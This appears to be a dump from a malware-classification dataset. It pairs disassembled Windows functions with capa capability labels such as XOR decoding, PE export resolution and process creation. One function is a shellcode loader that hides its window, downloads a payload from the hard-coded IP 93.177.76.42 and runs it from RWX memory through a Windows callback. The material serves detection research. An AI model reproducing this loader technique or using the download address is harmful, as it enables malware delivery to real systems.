joyce8/EMBER2024-capa huggingface dataset:
Function at 0x6202fc
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffd90
xor eax, eax
mov dword [ebp - 0x26c], eax
mov dword [ebp - 0x270], eax
mov dword [ebp - 4], eax
lea eax, [ebp - 0x268]
mov edx, dword [0x656638]
call fcn.00403e48
xor eax, eax
push ebp
push 0x620459
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
call fcn.0062a1e4
test eax, eax
jne 0x620422
lea eax, [ebp - 4]
call fcn.0061feb4
lea eax, [ebp - 0x26c]
mov ecx, 0x620468
mov edx, dword [ebp - 4]
call fcn.00403b24
mov eax, dword [ebp - 0x26c]
lea ecx, [ebp - 0x268]
mov edx, 0x3f
call fcn.006585c8
test eax, eax
jne 0x6203e7
mov edx, dword [ebp - 0x260]
mov eax, 0x620474
call fcn.00658094
dec eax
jne 0x6203d8
test byte [ebp - 0x264], 0x10
je 0x6203b8
lea eax, [ebp - 0x26c]
mov ecx, dword [ebp - 0x260]
mov edx, dword [ebp - 4]
call fcn.00403b24
mov eax, dword [ebp - 0x26c]
xor edx, edx
call fcn.00625670
jmp 0x6203d8
lea eax, [ebp - 0x26c]
mov ecx, dword [ebp - 0x260]
mov edx, dword [ebp - 4]
call fcn.00403b24
mov eax, dword [ebp - 0x26c]
push eax
call sub.kernel32.dll_DeleteFileW
lea eax, [ebp - 0x268]
call fcn.0065866c
test eax, eax
je 0x620379
lea eax, [ebp - 0x268]
call fcn.00658690
lea edx, [ebp - 0x270]
mov eax, 0x620480
call fcn.00658380
mov ecx, dword [ebp - 0x270]
lea eax, [ebp - 0x26c]
mov edx, dword [ebp - 4]
call fcn.00403b24
mov eax, dword [ebp - 0x26c]
push eax
call sub.kernel32.dll_DeleteFileW
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x620460
lea eax, [ebp - 0x270]
mov edx, 2
call fcn.00403898
lea eax, [ebp - 0x268]
mov edx, dword [0x656638]
call fcn.00403f10
lea eax, [ebp - 4]
call fcn.00403880
ret

Function at 0x620d50
Capabilities:
Create process on windows

Disassembly:
add esp, 0xffffffc4
mov eax, esp
mov edx, 0x3c
call fcn.0065c4dc
mov dword [esp], 0x3c
mov eax, 0x620da0
mov dword [esp + 0xc], eax
mov eax, dword [0x671fa4]
mov eax, dword [eax]
mov dword [esp + 0x10], eax
mov eax, dword [0x672b88]
mov eax, dword [eax]
call fcn.00403aa8
mov dword [esp + 0x14], eax
mov eax, dword [0x672c78]
mov eax, dword [eax]
mov dword [esp + 0x18], eax
push esp
call sub.shell32.dll_ShellExecuteExW
add esp, 0x3c
ret
Function at 0x620dac
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffc0
xor eax, eax
mov dword [ebp - 0x40], eax
xor eax, eax
push ebp
push 0x620e59
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [0x67690c], 0
je 0x620e43
push 5
push 0
mov eax, dword [0x676910]
call fcn.00403aa8
push eax
mov eax, dword [0x67690c]
push eax
push 0x620e64
push 0
call sub.shell32.dll_ShellExecuteW
call sub.kernel32.dll_GetLastError
cmp eax, 0x2e4
jne 0x620e43
lea eax, [ebp - 0x3c]
mov edx, 0x3c
call fcn.0065c4dc
mov dword [ebp - 0x3c], 0x3c
mov eax, 0x620e70
mov dword [ebp - 0x30], eax
mov eax, dword [0x67690c]
mov dword [ebp - 0x2c], eax
mov eax, dword [0x676910]
mov dword [ebp - 0x28], eax
lea edx, [ebp - 0x40]
mov eax, dword [0x67690c]
call fcn.0065885c
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x3c]
push eax
call sub.shell32.dll_ShellExecuteExW
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x620e60
lea eax, [ebp - 0x40]
call fcn.00403880
ret
Function at 0x4016e2
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x10
push ebx
push esi
mov esi, ecx
and dword [esi + 0x30], 0
push edi
call fcn.004015a9
mov eax, dword [eax + 0x30]
mov edi, dword [eax + 0xc]
add edi, 0xc
mov ebx, dword [edi]
jmp 0x401728
push 0xa
push 0xa
push 0x1663204
push 0x3114b604
call fcn.00401dce
add esp, 0xc
push eax
push dword [ebx + 0x30]
call fcn.00401618
add esp, 0xc
test eax, eax
je 0x401731
mov ebx, dword [ebx]
cmp ebx, edi
jne 0x401700
jmp 0x4017c3
mov ebx, dword [ebx + 0x18]
test ebx, ebx
je 0x4017c3
mov eax, dword [ebx + 0x3c]
mov edi, dword [eax + ebx + 0x78]
and dword [esp + 0xc], 0
add edi, ebx
mov eax, dword [edi + 0x1c]
add eax, ebx
push ebp
mov ebp, dword [edi + 0x20]
mov dword [esp + 0x1c], eax
mov eax, dword [edi + 0x24]
add eax, ebx
add ebp, ebx
cmp dword [edi + 0x18], 0
mov dword [esp + 0x18], eax
jbe 0x4017bf
mov eax, dword [esp + 0x10]
mov eax, dword [ebp + eax*4]
push 0x16
add eax, ebx
push 0x16631ec
push 0x40704011
mov dword [esp + 0x20], eax
call fcn.00401d80
push eax
push dword [esp + 0x24]
call fcn.00401644
add esp, 0x14
test eax, eax
je 0x4017a7
inc dword [esp + 0x10]
mov eax, dword [esp + 0x10]
cmp eax, dword [edi + 0x18]
jb 0x401768
jmp 0x4017bf
mov ecx, dword [esp + 0x10]
mov eax, dword [esp + 0x18]
movzx eax, word [eax + ecx*2]
mov ecx, dword [esp + 0x1c]
mov eax, dword [ecx + eax*4]
add eax, ebx
mov dword [esi + 4], eax
mov dword [esi + 0x30], ebx
pop ebp
cmp dword [esi + 0x30], 0
je 0x40192a
push 0xa
push 0x16631e0
push 0x29a1a909
call fcn.00401d80
add esp, 0xc
push eax
push esi
mov ecx, esi
call fcn.004016ba
push 0xc
push 0x16631d0
push 0x13cbcee9
call fcn.00401d80
add esp, 0xc
push eax
lea eax, [esi + 8]
push eax
mov ecx, esi
call fcn.004016ba
push 0x18
push 0x16631b4
push 0x17ce53be
call fcn.00401d80
add esp, 0xc
push eax
lea eax, [esi + 0xc]
push eax
mov ecx, esi
call fcn.004016ba
push 0xf
push 0x16631a4
push 0x26b30b69
call fcn.00401d80
add esp, 0xc
push eax
lea eax, [esi + 0x10]
push eax
mov ecx, esi
call fcn.004016ba
push 0x12
push 0x1663190
push 0x3d924530
call fcn.00401d80
add esp, 0xc
push eax
lea eax, [esi + 0x14]
push eax
mov ecx, esi
call fcn.004016ba
push 7
push 0x1663188
push 0x2236409a
call fcn.00401d80
add esp, 0xc
push eax
lea eax, [esi + 0x18]
push eax
mov ecx, esi
call fcn.004016ba
push 0x14
push 0x1663170
push 0x149ccd04
call fcn.00401d80
add esp, 0xc
push eax
lea eax, [esi + 0x1c]
push eax
mov ecx, esi
call fcn.004016ba
push 0x11
push 0x166315c
push 0x673ebfe9
call fcn.00401d80
add esp, 0xc
push eax
lea eax, [esi + 0x20]
push eax
mov ecx, esi
call fcn.004016ba
push 0x11
push 0x1663148
push 0x68d29b96
call fcn.00401d80
add esp, 0xc
push eax
lea eax, [esi + 0x24]
push eax
mov ecx, esi
call fcn.004016ba
push 0x16
push 0x1663130
push 0x7db65c79
call fcn.00401d80
add esp, 0xc
push eax
lea eax, [esi + 0x28]
push eax
mov ecx, esi
call fcn.004016ba
push 0x13
push 0x166311c
push 0x65fa79df
call fcn.00401d80
add esp, 0xc
push eax
lea eax, [esi + 0x2c]
push eax
mov ecx, esi
call fcn.004016ba
pop edi
mov eax, esi
pop esi
pop ebx
add esp, 0x10
ret
Function at 0x401933
Capabilities:
Encode data using xor

Disassembly:
push esi
mov eax, section..data
mov ecx, 0x7b76
mov esi, 0x52eeef
imul ecx, ecx, 0x19660d
add ecx, 0x3c6ef35f
mov edx, ecx
shr edx, 0xc
xor byte [eax], dl
inc eax
dec esi
jne 0x401943
pop esi
ret

Function at 0x401a9f
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
and dword [ebp - 4], 0
push ebx
mov ebx, eax
push esi
mov esi, dword [ebx + 0x3c]
add esi, ebx
movzx eax, word [esi + 0x14]
push edi
lea edi, [eax + esi + 0x18]
xor eax, eax
cmp ax, word [esi + 6]
jae 0x401ae6
push 7
push str..custom
push edi
call fcn.00401618
add esp, 0xc
test eax, eax
je 0x401aed
movzx eax, word [esi + 6]
inc dword [ebp - 4]
add edi, 0x28
cmp dword [ebp - 4], eax
jl 0x401ac3
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
mov eax, dword [edi + 0xc]
mov esi, dword [eax + ebx]
lea edi, [eax + ebx + 8]
mov ebx, dword [eax + ebx + 4]
push esi
call fcn.00401e2c
and dword [ebp - 8], 0
lea ecx, [ebp - 0x18]
push ecx
lea ecx, [ebp - 8]
push ecx
push 1
push 5
push edi
lea ecx, [ebp - 0xc]
push ecx
add edi, 5
push edi
lea ecx, [ebp - 0x10]
push ecx
push eax
mov dword [ebp - 4], eax
mov dword [ebp - 0x10], esi
mov dword [ebp - 0xc], ebx
mov dword [ebp - 0x18], 0x40195c
mov dword [ebp - 0x14], 0x401967
call fcn.004037de
add esp, 0x28
test eax, eax
je 0x401b4d
push dword [ebp - 4]
call fcn.00401e43
pop ecx
jmp 0x401ae6
mov eax, dword [ebp + 8]
mov dword [eax], esi
mov eax, dword [ebp - 4]
jmp 0x401ae8

Function at 0x401d80
Capabilities:
Encode data using xor

Disassembly:
mov edx, dword [esp + 4]
push ebx
mov ebx, dword [esp + 0x10]
push esi
xor esi, esi
test ebx, ebx
je 0x401dbf
push edi
mov edi, dword [esp + 0x14]
sub edi, 0x1b92ef8
imul edx, edx, 0x19660d
add edx, 0x3c6ef35f
mov eax, edx
shr eax, 0xc
xor al, byte [edi + esi + 0x1b92ef8]
inc esi
mov byte [esi + 0x1b92ef7], al
cmp esi, ebx
jb 0x401d9b
pop edi
pop esi
mov byte [ebx + 0x1b92ef8], 0
mov eax, 0x1b92ef8
pop ebx
ret

Function at 0x401dce
Capabilities:
Encode data using xor

Disassembly:
mov edx, dword [esp + 4]
push esi
push edi
mov edi, dword [esp + 0x14]
xor esi, esi
test edi, edi
je 0x401e0c
mov eax, dword [esp + 0x10]
sub eax, 0x1b92ef8
push ebx
imul edx, edx, 0x19660d
add edx, 0x3c6ef35f
mov ebx, edx
shr ebx, 0xc
xor bl, byte [eax + esi + 0x1b92ef8]
inc esi
mov byte [esi + 0x1b92ef7], bl
cmp esi, edi
jb 0x401de8
pop ebx
mov byte [edi + 0x1b92ef8], 0
mov byte [edi + 0x1b92ef9], 0
pop edi
mov eax, 0x1b92ef8
pop esi
ret
Function at 0x401f2e
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
mov ecx, dword [ebp + 0x14]
mov edx, dword [ecx]
mov ecx, dword [ebp + 0xc]
xor eax, eax
and edx, 7
cmp ecx, 5
jae 0x401f47
leave
ret
add dword [ebp + 0x10], 5
or dword [ebp + 0xc], 0xffffffff
push ebx
push esi
mov esi, dword [ebp + 8]
lea ecx, [esi + ecx - 4]
push edi
mov dword [ebp - 4], ecx
lea edi, [eax + esi]
jmp 0x401f6a
mov al, byte [edi]
and al, 0xfe
cmp al, 0xe8
je 0x401f6f
inc edi
cmp edi, dword [ebp - 4]
jb 0x401f61
mov eax, edi
sub eax, esi
mov dword [ebp - 8], eax
cmp edi, dword [ebp - 4]
jae 0x402067
mov ecx, eax
sub ecx, dword [ebp + 0xc]
cmp ecx, 3
jbe 0x401fc6
xor edx, edx
mov cl, byte [edi + 4]
mov dword [ebp + 0xc], eax
test cl, cl
je 0x401f9a
cmp cl, 0xff
jne 0x401ff1
movzx esi, cl
movzx ecx, byte [edi + 3]
shl esi, 8
or esi, ecx
movzx ecx, byte [edi + 2]
shl esi, 8
or esi, ecx
movzx ecx, byte [edi + 1]
shl esi, 8
or esi, ecx
cmp dword [ebp + 0x18], 0
je 0x401fff
lea ebx, [esi + eax]
add ebx, dword [ebp + 0x10]
jmp 0x402006
dec ecx
shl edx, cl
and edx, 7
je 0x401f8b
movzx ecx, byte [edx + 0x1663294]
mov ebx, edi
sub ebx, ecx
cmp byte [edx + 0x166328c], 0
mov cl, byte [ebx + 4]
je 0x401fee
test cl, cl
je 0x401fee
cmp cl, 0xff
jne 0x401f8b
mov dword [ebp + 0xc], eax
and edx, 3
add edx, edx
or edx, 1
inc eax
jmp 0x401f5c
sub esi, eax
sub esi, dword [ebp + 0x10]
mov ebx, esi
test edx, edx
je 0x40203a
movzx esi, byte [edx + 0x1663294]
push 0x18
shl esi, 3
pop ecx
sub ecx, esi
mov eax, ebx
shr eax, cl
test al, al
je 0x402025
cmp al, 0xff
jne 0x402037
mov eax, dword [ebp - 8]
push 0x20
pop ecx
sub ecx, esi
xor esi, esi
inc esi
shl esi, cl
dec esi
xor esi, ebx
jmp 0x401fb8
mov eax, dword [ebp - 8]
mov esi, dword [ebp + 8]
mov ecx, ebx
shr ecx, 0x18
and cl, 1
dec cl
not cl
mov byte [edi + 4], cl
mov ecx, ebx
shr ecx, 0x10
mov byte [edi + 3], cl
mov ecx, ebx
shr ecx, 8
mov byte [edi + 2], cl
mov byte [edi + 1], bl
add eax, 5
jmp 0x401f5c
mov esi, eax
sub esi, dword [ebp + 0xc]
push 3
lea ecx, [esi - 1]
shl edx, cl
pop edi
and edx, 7
cmp edi, esi
sbb ecx, ecx
not ecx
pop edi
and ecx, edx
mov edx, dword [ebp + 0x14]
pop esi
mov dword [edx], ecx
pop ebx
leave
ret
Function at 0x4034c0
Capabilities:
Allocate or change rwx memory
Create http request
Execute shellcode via indirect call
Execute shellcode via windows callback function
Hide graphical window
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0xdbbac
call fcn.0040a010
mov eax, dword [0x414040]
xor eax, esp
mov dword [esp + 0xdbba8], eax
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
test eax, eax
je 0x4034f4
push 0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push 0
push 0
push 0
push 1
push str.User_Agent
call dword [sym.imp.WININET.dll_InternetOpenW]
push 0
push SysReAllocString
push 0
push 0
mov edi, eax
push str.http:__93.177.76.42_2.dat
push edi
call dword [sym.imp.WININET.dll_InternetOpenUrlW]
mov esi, eax
test esi, esi
je 0x403681
lea eax, [esp + 0xc]
push eax
push 0xdbba0
lea eax, [esp + 0x18]
push eax
push esi
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x403681
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push edi
call esi
push dword [esp + 0xc]
call dword [sym.imp.mfc140u.dll_operator]
mov ebx, dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
add esp, 4
mov edi, eax
call ebx
cdq
mov esi, 0x1a
idiv esi
imul ecx, edx, 0x1f40
call fcn.00403400
mov edx, dword [esp + 0xc]
test edx, edx
je 0x4035a1
lea esi, [esp + 0x10]
mov ecx, edi
sub esi, edi
nop
mov al, byte [esi + ecx]
lea ecx, [ecx + 1]
mov byte [ecx - 1], al
sub edx, 1
jne 0x403590
lea esi, [edx + 0x1a]
call ebx
cdq
idiv esi
imul ecx, edx, 0x1388
call fcn.00403400
push 0x40
push 0x1000
push dword [esp + 0x14]
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ebx, eax
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
cdq
idiv esi
imul ecx, edx, 0x1f40
call fcn.00403400
mov eax, dword [esp + 0xc]
mov edx, edi
cmp ebx, edi
jbe 0x403607
lea esi, [eax + edi]
cmp ebx, esi
jae 0x403607
lea edx, [eax - 1]
dec esi
add edx, ebx
test eax, eax
je 0x40361e
mov cl, byte [esi]
lea edx, [edx - 1]
mov byte [edx + 1], cl
lea esi, [esi - 1]
sub eax, 1
jne 0x4035f5
jmp 0x40361e
test eax, eax
je 0x40361e
mov esi, ebx
sub esi, edi
nop
mov cl, byte [edx]
lea edx, [edx + 1]
mov byte [esi + edx - 1], cl
sub eax, 1
jne 0x403610
mov esi, dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
call esi
cdq
mov ecx, 0x1a
idiv ecx
imul ecx, edx, 0x1f40
call fcn.00403400
push 0x15
push 0xffffffffffffffff
push 0x400
push ebx
call dword [sym.imp.KERNEL32.dll_EnumCalendarInfoW]
call esi
cdq
mov ecx, 0x1a
idiv ecx
imul ecx, edx, 0x1f40
call fcn.00403400
push edi
call dword [sym.imp.mfc140u.dll_operator_1]
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0xdbba8]
xor ecx, esp
call fcn.0040913e
mov esp, ebp
pop ebp
ret 0x10
mov ecx, dword [esp + 0xdbbb4]
mov eax, 1
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.0040913e
mov esp, ebp
pop ebp
ret 0x10
Function at 0x40976d
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x4097ac
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x4097ac
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x4097ac
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x4097ac
cmp dword [ecx + 0x74], 0xe
jbe 0x4097ac
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x401b1e
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, edx
mov ebx, ecx
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x401b75
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x401b75
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov edx, dword [ebp + 8]
lea ecx, [esi + eax]
and edx, 0xf
jbe 0x401b66
cmp esi, ecx
jae 0x401b75
movzx eax, word [esi]
lea esi, [esi + eax*2]
add esi, 2
sub edx, 1
jne 0x401b54
cmp esi, ecx
jae 0x401b75
movzx eax, word [esi]
neg eax
sbb eax, eax
and eax, esi
jmp 0x401b77
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x403149
Capabilities:
Inspect section memory permissions

Disassembly:
cmp dword [eax], ebx
je 0x40317d
mov edx, dword [eax + 4]
lea ecx, [eax + 8]
add edx, eax
mov dword [ebp + 8], ecx
cmp ecx, edx
jae 0x403178
mov ecx, dword [ebp + 8]
movzx ecx, word [ecx]
mov edx, ecx
and edx, 0xf000
cmp edx, 0x3000
add byte [eax], dh
add byte [eax], al
add byte [eax], dh
add byte [eax], al
jne 0x403162
and ecx, 0xfff
mov edx, esi
sub edx, dword [edi + 0x34]
add ecx, esi
add ecx, dword [eax]
add dword [ecx], edx
jmp 0x40316a
cmp edx, ebx
jne 0x4032b8
mov ecx, dword [eax + 4]
add dword [ebp + 8], 2
add ecx, eax
cmp dword [ebp + 8], ecx
jb 0x403139
add eax, dword [eax + 4]
jmp 0x403126
mov dword [ebp + 0xc], ebx
jmp 0x403188

Function at 0x4031cc
Capabilities:
Inspect section memory permissions

Disassembly:
mov dword [ebp - 0x44], eax
mov eax, ecx
div dword [ebp - 0xac]
cmp eax, dword [ebp - 0x44]
ja 0x40321c
mov edx, edi
mov dword [ebp + 8], edi
and dword [ebp + 8], 0x40000000
mov dword [ebp + 0x10], edi
and edx, 0x20000000
and dword [ebp + 0x10], 0x80000000

Function at 0x403369
Capabilities:
Contain obfuscated stackstrings

Disassembly:
insb byte es:[edi], dx
idiv edi
call [ecx + 0x50]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.00402a8e
add esp, 0xc
mov dword [ebp - 0x68c], eax
call dword [ebp - 0x68c]
mov dword [ebp - 0x674], eax
mov dword [ebp - 0x384], 4
and byte [ebp - 0x334], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x333]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dword [ebp - 0x670], 4
and byte [ebp - 0x3c4], 0
and byte [ebp - 0x3c3], 0
mov byte [ebp - 0x3c2], 0x99
and byte [ebp - 0x3c1], 0
mov byte [ebp - 0x3c0], 0x21
mov byte [ebp - 0x3bf], 3
mov byte [ebp - 0x3be], 0x12
mov byte [ebp - 0x3bd], 0x2b
mov byte [ebp - 0x3bc], 9
Function at 0x40520e
Capabilities:
Encode data using base64

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, edx
mov ebx, ecx
test edi, edi
jle 0x405326
mov esi, dword [ebp + 8]
mov edx, dword [ebp + 0xc]
cmp edi, 2
jle 0x40528e
sub edx, 4
js 0x405326
movzx eax, byte [ebx]
shr eax, 2
mov al, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [esi], al
movzx ecx, byte [ebx]
movzx eax, byte [ebx + 1]
and ecx, 3
shr eax, 4
add ecx, ecx
mov al, byte [eax + ecx*8 + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [esi + 1], al
movzx ecx, byte [ebx + 1]
movzx eax, byte [ebx + 2]
and ecx, 0xf
shr eax, 6
mov al, byte [eax + ecx*4 + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [esi + 2], al
movzx eax, byte [ebx + 2]
add ebx, 3
and eax, 0x3f
mov al, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [esi + 3], al
add esi, 4
sub edi, 3
jmp 0x405226
sub edi, 1
je 0x4052ea
sub edi, 1
jne 0x40531f
sub edx, 3
js 0x405326
movzx eax, byte [ebx]
shr eax, 2
mov al, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [esi], al
movzx ecx, byte [ebx]
movzx eax, byte [ebx + 1]
and ecx, 3
shr eax, 4
add ecx, ecx
mov al, byte [eax + ecx*8 + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [esi + 1], al
movzx eax, byte [ebx + 1]
and eax, 0xf
mov al, byte [eax*4 + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [esi + 2], al
lea eax, [edx - 1]
test eax, eax
js 0x405326
mov byte [esi + 3], 0x3d
jmp 0x40531c
sub edx, 2
js 0x405326
movzx eax, byte [ebx]
shr eax, 2
mov al, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [esi], al
movzx eax, byte [ebx]
and eax, 3
shl eax, 4
mov al, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [esi + 1], al
lea eax, [edx - 2]
test eax, eax
js 0x405326
mov word [esi + 2], 0x3d3d
add esi, 4
sub esi, dword [ebp + 8]
mov eax, esi
jmp 0x405328
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x4058f7
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x70
push ebx
push esi
push edi
lea ecx, [ebp - 0x24]
mov ebx, edx
call fcn.004032be
xor esi, esi
mov dword [ebp - 0x6c], 0x44
push 0x3c
lea eax, [ebp - 0x64]
mov dword [ebp - 0x68], esi
push esi
push eax
call fcn.00416d70
mov edi, dword [ebp + 0x10]
lea eax, [ebp - 0x6c]
add esp, 0xc
mov dword [ebp - 0x40], 0x80
push edi
push eax
push esi
cmp dword [ebp + 8], esi
jne 0x40593e
push esi
push esi
jmp 0x405946
push dword [ebp + 8]
push 0x400
push dword [ebp + 0xc]
push esi
push esi
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x405960
call fcn.0040931b
mov esi, eax
jmp 0x4059a1
movzx ecx, byte [0x43dec9]
neg ecx
sbb ecx, ecx
and ecx, 0x43ded0
je 0x4059a1
xor eax, eax
mov dword [ebp - 0x14], ecx
inc eax
mov dword [ebp - 0x10], 7
push eax
push ecx
mov dword [ebp - 0xc], eax
call fcn.00406432
push dword [edi + 8]
mov dword [ebp - 8], eax
lea eax, [ebp - 0x14]
push str._Started_process___u_
push eax
call fcn.004031cc
add esp, 0xc
lea ecx, [ebp - 0x24]
call 0x403318
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret

Function at 0x4059b6
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [0x43c040]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, ecx
test esi, esi
jne 0x4059d1
mov al, 1
jmp 0x405a14
push 0x34
lea eax, [ebp - 0x38]
push 0
push eax
call fcn.00416d70
add esp, 0xc
lea eax, [ebp - 0x38]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
test eax, eax
jne 0x405a0c
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x4358b8
call fcn.00409508
pop ecx
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
jmp 0x4059cd
mov eax, dword [ebp - 0x38]
shr eax, 0xa
and al, 1
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.00415ff1
leave
ret

Function at 0x405a21
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
lea eax, [ebp - 4]
xor ebx, ebx
push eax
push 0x20019
push ebx
push str.SoftwareBraveSoftwareUpdateDev_
push 0x80000002
mov dword [ebp - 4], ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x405a4f
xor al, al
jmp 0x405a97
push esi
push edi
push 4
pop edi
lea eax, [ebp - 0x10]
mov dword [ebp - 0xc], ebx
push eax
lea eax, [ebp - 0xc]
mov dword [ebp - 0x10], edi
push eax
lea eax, [ebp - 8]
mov dword [ebp - 8], edi
push eax
push ebx
push str.IsEnabledLogToFile
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push dword [ebp - 4]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
jne 0x405a93
cmp dword [ebp - 8], edi
jne 0x405a93
cmp dword [ebp - 0xc], ebx
je 0x405a93
mov bl, 1
pop edi
mov al, bl
pop esi
pop ebx
leave
ret